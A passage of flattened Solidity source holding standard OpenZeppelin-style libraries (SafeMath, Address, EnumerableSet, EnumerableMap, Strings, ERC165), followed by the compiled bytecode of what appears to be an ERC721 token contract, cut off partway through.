@dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061019c5760003560e01c80636352211e116100ec578063aa0b59881161008a578063d0def52111610064578063d0def521146106a4578063e985e9c514610724578063f160d3691461075f578063f2fde38b146107925761019c565b8063aa0b59881461057d578063b88d4fde146105a7578063c87b56dd1461067a5761019c565b8063715018a6116100c6578063715018a6146105035780638da5cb5b1461051857806395d89b411461052d578063a22cb465146105425761019c565b80636352211e146104915780636c0360eb146104bb57806370a08231146104d05761019c565b806326232a2e1161015957806342842e0e1161013357806342842e0e146103c157806342966c68146104045780634f6ccce71461042e57806356c31637146104585761019c565b806326232a2e1461035e5780632f745c59146103735780633740ebb3146103ac5761019c565b806301ffc9a7146101a157806306fdde03146101e9578063081812fc14610273578063095ea7b3146102b957806318160ddd146102f457806323b872dd1461031b575b600080fd5b3480156101ad57600080fd5b506101d5600480360360208110156101c457600080fd5b50356001600160e01b0319166107c5565b604080519115158252519081900360200190f35b3480156101f557600080fd5b506101fe6107e8565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610238578181015183820152602001610220565b50505050905090810190601f1680156102655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027f57600080fd5b5061029d6004803603602081101561029657600080fd5b503561087e565b604080516001600160a01b039092168252519081900360200190f35b3480156102c557600080fd5b506102f2600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356108e0565b005b34801561030057600080fd5b506103096109bb565b60408051918252519081900360200190f35b34801561032757600080fd5b506102f26004803603606081101561033e57600080fd5b506001600160a01b038135811691602081013590911690604001356109cc565b34801561036a57600080fd5b50610309610a23565b34801561037f57600080fd5b506103096004803603604081101561039657600080fd5b506001600160a01b038135169060200135610a29565b3480156103b857600080fd5b5061029d610a54565b3480156103cd57600080fd5b506102f2600480360360608110156103e457600080fd5b506001600160a01b03813581169160208101359091169060400135610a63565b34801561041057600080fd5b506102f26004803603602081101561042757600080fd5b5035610a7e565b34801561043a57600080fd5b506103096004803603602081101561045157600080fd5b5035610b15565b34801561046457600080fd5b506101d56004803603604081101561047b57600080fd5b50803590602001356001600160a01b0316610b2b565b34801561049d57600080fd5b5061029d600480360360208110156104b457600080fd5b5035610b69565b3480156104c757600080fd5b506101fe610b91565b3480156104dc57600080fd5b50610309600480360360208110156104f357600080fd5b50356001600160a01b0316610bf2565b34801561050f57600080fd5b506102f2610c5a565b34801561052457600080fd5b5061029d610d06565b34801561053957600080fd5b506101fe610d15565b34801561054e57600080fd5b506102f26004803603604081101561056557600080fd5b506001600160a01b0381351690602001351515610d76565b34801561058957600080fd5b506102f2600480360360208110156105a057600080fd5b5035610e7b565b3480156105b357600080fd5b506102f2600480360360808110156105ca57600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561060557600080fd5b82018360208201111561061757600080fd5b8035906020019184600183028401116401000000008311171561063957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610f18945050505050565b34801561068657600080fd5b506101fe6004803603602081101561069d57600080fd5b5035610f76565b6102f2600480360360408110156106ba57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156106e557600080fd5b8201836020820111156106f757600080fd5b8035906020019184600183028401116401000000008311171561071957600080fd5b5090925090506111f9565b34801561073057600080fd5b506101d56004803603604081101561074757600080fd5b506001600160a01b03813581169160200135166113d7565b34801561076b57600080fd5b506102f26004803603602081101561078257600080fd5b50356001600160a01b0316611432565b34801561079e57600080fd5b506102f2600480360360208110156107b557600080fd5b50356001600160a01b03166114e8565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108745780601f1061084957610100808354040283529160200191610874565b820191906000526020600020905b81548152906001019060200180831161085757829003601f168201915b5050505050905090565b6000610889826115eb565b6108c45760405162461bcd60e51b815260040180806020018281038252602c8152602001806127f2602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006108eb82610b69565b9050806001600160a01b0316836001600160a01b0316141561093e5760405162461bcd60e51b81526004018080602001828103825260218152602001806128c26021913960400191505060405180910390fd5b806001600160a01b03166109506115f8565b6001600160a01b0316148061097157506109718161096c6115f8565b6115fc565b6109ac5760405162461bcd60e51b81526004018080602001828103825260388152602001806127456038913960400191505060405180910390fd5b6109b6838361162a565b505050565b60006109c76002611698565b905090565b6109dd6109d76115f8565b826116a3565b610a185760405162461bcd60e51b81526004018080602001828103825260318152602001806128e36031913960400191505060405180910390fd5b6109b6838383611721565b600f5481565b6001600160a01b0382166000908152600160205260408120610a4b908361186d565b90505b92915050565b6010546001600160a01b031681565b6109b683838360405180602001604052806000815250610f18565b6000610a886115f8565b9050806001600160a01b0316610a9d83610b69565b6001600160a01b03161480610ab75750610ab78282610b2b565b610b08576040805162461bcd60e51b815260206004820152601e60248201527f4f6e6c79206761726d656e74206f776e6572206f7220617070726f7665640000604482015290519081900360640190fd5b610b1182611879565b5050565b600080610b23600284611946565b509392505050565b6000610b3f610b3984610b69565b836113d7565b80610a4b5750816001600160a01b0316610b588461087e565b6001600160a01b0316149392505050565b6000610a4e826040518060600160405280602981526020016127a76029913960029190611962565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108745780601f1061084957610100808354040283529160200191610874565b60006001600160a01b038216610c395760405162461bcd60e51b815260040180806020018281038252602a81526020018061277d602a913960400191505060405180910390fd5b6001600160a01b0382166000908152600160205260409020610a4e90611698565b610c626115f8565b6001600160a01b0316610c73610d06565b6001600160a01b031614610cbc576040805162461bcd60e51b8152602060048201819052602482015260008051602061284a833981519152604482015290519081900360640190fd5b600a546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600a80546001600160a01b0319169055565b600a546001600160a01b031690565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108745780601f1061084957610100808354040283529160200191610874565b610d7e6115f8565b6001600160a01b0316826001600160a01b03161415610de4576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060056000610df16115f8565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610e356115f8565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b610e836115f8565b6001600160a01b0316610e94610d06565b6001600160a01b031614610edd576040805162461bcd60e51b8152602060048201819052602482015260008051602061284a833981519152604482015290519081900360640190fd5b600f8190556040805182815290517f2644fd26359c107ff7991b6dfc36ce902b334ce4e3891bbecacc5922aa620efa9181900360200190a150565b610f29610f236115f8565b836116a3565b610f645760405162461bcd60e51b81526004018080602001828103825260318152602001806128e36031913960400191505060405180910390fd5b610f7084848484611979565b50505050565b6060610f81826115eb5